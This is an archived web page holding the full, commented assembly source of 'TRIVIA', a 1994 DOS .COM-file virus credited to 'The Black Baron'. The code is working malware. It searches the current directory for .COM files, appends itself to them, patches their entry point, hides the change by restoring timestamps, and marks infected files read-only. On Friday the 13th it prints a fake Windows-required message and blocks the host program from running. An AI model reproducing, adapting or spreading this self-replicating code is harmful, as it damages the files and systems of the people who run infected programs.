home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
HPAVC
/
HPAVC CD-ROM.iso
/
SMEGUPD1.ZIP
/
SMEG03.ZIP
/
TRIVIA.ASM
< prev
next >
Wrap
Assembly Source File
|
1994-06-17
|
9KB
|
256 lines
; ┌────────────────────────────────────────┐
; │ TRIVIA │
; │ ══════ │
; │ A trivial, direct action .COM infector │
; │ (C) The Black Baron 1994 │
; └────────────────────────────────────────┘
;Some EQUates
;────────────
DTA_OFFSET EQU 3
CODESG SEGMENT BYTE PUBLIC
;We are a .COM, so set up the ASSUMES to reflect this
;────────────────────────────────────────────────────
ASSUME CS:CODESG,DS:CODESG,ES:CODESG,SS:CODESG
;Standard ORG for a .COM
;───────────────────────
ORG 100h
;Get and save the hosts original first 3 bytes
;─────────────────────────────────────────────
BEGIN: MOV DI,100h ;Start of the .COM
PUSH DI ;Stack it for later
CALL GO_RESTORE ;"JMP" over the 1st 3 bytes!
;A store for the hosts first three bytes, just an INT 20h at the mo'
;───────────────────────────────────────────────────────────────────
FIRST_THREE_STORE: INT 20h ;2 bytes
NOP ;1 byte
GO_RESTORE: POP SI ;Point to the original 1st 3
CLD ;Just in case!
LODSW ;Get first 2
XCHG BX,AX ;Make BX = AX
LODSB ;Get 3rd
PUSH AX ;Save it
PUSH BX ;Save 1st and 2nd bytes
;Now make SI (our work area pointer) = the free space after our code
;───────────────────────────────────────────────────────────────────
CALL SET_SI
;Alter the INT 24h handler to stop any "WRITE PROTECTED" type errors
;───────────────────────────────────────────────────────────────────
CALL GET_PC ;"JMP" over our INT 24h handler
;Our INT 24h handler, just ignores the error and continues
;─────────────────────────────────────────────────────────
XOR AL,AL ;Signal IGNORE ERROR
IRET ;RETurn from INT 24h
;POP off our INT 24h handlers address and use it to set the INT 24h handler
;──────────────────────────────────────────────────────────────────────────
GET_PC: POP DX ;Get address of our INT 24h
;DS is already our CS
MOV AX,2524h ;Set INT 24h
INT 21h ;Set the interrupt
;Time now to save the hosts DTA and set up our own DTA
;─────────────────────────────────────────────────────
MOV AH,2Fh ;Get DTA function
INT 21h ;Get it!
PUSH ES ;Save hosts DTA segment
PUSH BX ;Save hosts DTA offset
MOV DX,SI ;Get end of our code
ADD DX,DTA_OFFSET ;ADD 3 to it
MOV AH,1Ah ;Set DTA function
INT 21h ;Set it!
;Right! Time to find our first potential victim! NOTE: This virus will
;not infect .COM's with the R/O attribute set, as this is the way that this
;virus marks infected files! Also, it only infects ONE file in the CURRENT
;directory on each run
;──────────────────────────────────────────────────────────────────────────
CALL GET_FIRST ;"JMP" over the search name!
DB '*.COM',0 ;The ASCIIZ search name
GET_FIRST: POP DX ;Get search name address
MOV AH,4Eh ;Search First function
XOR CX,CX ;Signal NORMAL files only
GET_NEXT: INT 21h ;Do the search
JNC GOT_A_VICTIM ;OK, found a potential victim!
JMP RUN_HOST ;Run the host, as any errors
;are treated as FILE NOT FOUND,
;NO MORE FILES
;OK, got a potential victim. Do some checks to see if we can infect
;───────────────────────────────────────────────────────────────────
GOT_A_VICTIM: MOV AL,[SI+DTA_OFFSET+15h] ;Get attribute
AND AL,1 ;Is it read only?
MOV AH,4Fh ;Prepare for GET NEXT search
JNZ GET_NEXT ;Yes, so can't infect it! Get
;another potential victim
CMP WORD PTR [SI+DTA_OFFSET+1Ch],0 ;High size word 0?
JNZ GET_NEXT ;NO, so get
;another potential
;victim!
CMP WORD PTR [SI+DTA_OFFSET+1Ah],LARGEST_VICTIM
JAE GET_NEXT ;Sorry, .COM too big! So get
;another potential victim!
CMP WORD PTR [SI+DTA_OFFSET+1Ah],3 ;Can't infect
;files <3 bytes
JB GET_NEXT ;Get another potential victim
;Right, size checks passed. Now open the victim for READ/WRITE
;──────────────────────────────────────────────────────────────
MOV DX,SI ;Point to our buffer/DTA
ADD DX,DTA_OFFSET+1Eh ;Adjust to point to filename
MOV AX,3D02h ;Open for READ/WRITE access
INT 21h ;Open it!
JNC OPENED_OK ;Opened it OK
JMP RUN_HOST ;Failed to open it, run host
;OK, now read in the first 3 bytes and store them for restoring the host
;───────────────────────────────────────────────────────────────────────
OPENED_OK: XCHG BX,AX ;Get file handle into BX
MOV DX,SI ;Point to our buffer
SUB DX,FIRST_THREE ;Point to our 1st 3 store
MOV CX,3 ;Three bytes to read
MOV AH,3Fh ;Read File function
INT 21h ;Read 'em!
JNC GOT_FIRST_THREE ;Got first 3 bytes OK
MOV AH,3Eh ;Close function
INT 21h ;Close it!
JMP RUN_HOST ;ERROR, so run the host
GOT_FIRST_THREE: CMP WORD PTR [SI-FIRST_THREE],'ZM' ;Is it a .EXE in
;disguise?!!!
JNZ A_REAL_COM ;No, it's a .COM
TRY_ANOTHER: MOV AH,3Eh ;Close file function
INT 21h ;Close it
MOV AH,4Fh ;GET NEXT function
JMP GET_NEXT ;Try for another victim
;Now move to EOF to calculate the initial JMP and also to append the virus
;─────────────────────────────────────────────────────────────────────────
A_REAL_COM: MOV AX,4202h ;Move pointer, offset from end
XOR CX,CX ;Zero CX
CWD ;Zero DX by sign extending AX!
INT 21h ;Move it!
JC TRY_ANOTHER ;ERROR, so try another victim
SUB AX,3 ;Adjust for the JMP
MOV BYTE PTR [SI],0E9h ;Store the JMP instruction
MOV [SI+1],AX ;Store the JMP offset
MOV DX,SI ;Point to the virus end
MOV CX,VIRUS_SIZE ;CX = the virus length
SUB DX,CX ;SUB length (DX now = BEGIN)
MOV AH,40h ;Write to file function
INT 21h ;Write it!
;All file errors from this point are ignored!
;────────────────────────────────────────────
;Virus appended, now make the 1st 3 bytes = the JMP to the virus code
;────────────────────────────────────────────────────────────────────
MOV AX,4200h ;Move pointer, offset from top
XOR CX,CX ;Zero CX
CWD ;Zero DX
INT 21h ;Move it!
MOV DX,SI ;Point to our first three
MOV CX,3 ;3 bytes to write
MOV AH,40h ;Write to file function
INT 21h ;Write it!
;Restore old date and time from the values in our DTA
;────────────────────────────────────────────────────
MOV CX,[SI+DTA_OFFSET+16h] ;Get old time
MOV DX,[SI+DTA_OFFSET+18h] ;Get old date
MOV AX,5701h ;Set time/date function
INT 21h ;Set it!
MOV AH,3Eh ;Close file function
INT 21h ;Close it!
;Now SET the R/O attribute, to prevent further infections of the same file
;─────────────────────────────────────────────────────────────────────────
XOR CH,CH ;Zero CX high byte
MOV CL,[SI+DTA_OFFSET+15h] ;Get original attribute
OR CL,1 ;SET R/O attribute
MOV DX,SI ;Point to our buffer/DTA
ADD DX,DTA_OFFSET+1Eh ;Adjust to point to filename
MOV AX,4301h ;Set Attribute function
INT 21h ;Set 'em!
;Time to run the host, first we must restore it's original 1st 3 bytes
;─────────────────────────────────────────────────────────────────────
RUN_HOST: POP DX ;Restore original DTA address
POP DS ;Restore original DTA segment
MOV AH,1Ah ;Set DTA function
INT 21h ;Set it!
MOV DI,100h ;Point to the third byte
POP AX ;Get 1st and 2nd bytes
STOSW ;Restore them
POP AX ;Get 3rd byte
STOSB ;Restore it
;See if we need to deliver out trivial payload!
;──────────────────────────────────────────────
MOV AH,2Ah ;Get system date function
INT 21h ;Get it!
CMP AL,5 ;Is it a FRIDAY?
JNZ NO_PAYLOAD ;Nope! So no payload
CMP DL,13 ;Is it the 13th
JNZ NO_PAYLOAD ;Nope! So no payload
;Our trivial payload is delivered on FRIDAY the 13ths! (original, eh?!!)
;No damage occurs, we just print a message and don't allow the host to run,
;The message is the same as the one you get trying to run a windows program
;under DOS!
;──────────────────────────────────────────────────────────────────────────
CALL DUMP_MESSAGE ;"JMP" over the message
DB 'This program requires Microsoft Windows.'
DB 13,10,'$'
DUMP_MESSAGE: POP DX ;Point to the message
MOV AH,9 ;DOS print string
INT 21h ;Print it!
MOV AX,4C00h ;Terminate, return 0
INT 21h ;Terminate!
;Now run the host via a RETurn to the stacked 100h
;─────────────────────────────────────────────────
NO_PAYLOAD: RET
;Set up SI to some free space
;────────────────────────────
SET_SI: CALL THE_END
THE_END: POP SI ;SI now = this point
ADD SI,5 ;Skip over the POP, ADD & RET
RET ;Back to our caller
;An EQUate used to point to a 3 byte store space, for the hosts 1st 3 bytes
;──────────────────────────────────────────────────────────────────────────
FIRST_THREE EQU $-FIRST_THREE_STORE
;Some more equates
;─────────────────
VIRUS_SIZE EQU $-BEGIN ;The virus size
LARGEST_COM EQU 65279-256 ;Largest .COM - our stack & DTA
LARGEST_VICTIM EQU LARGEST_COM-VIRUS_SIZE ;Our largest victim
;SI = this point, I.E. the free space after all the actual program code
;──────────────────────────────────────────────────────────────────────
CODESG ENDS
END BEGIN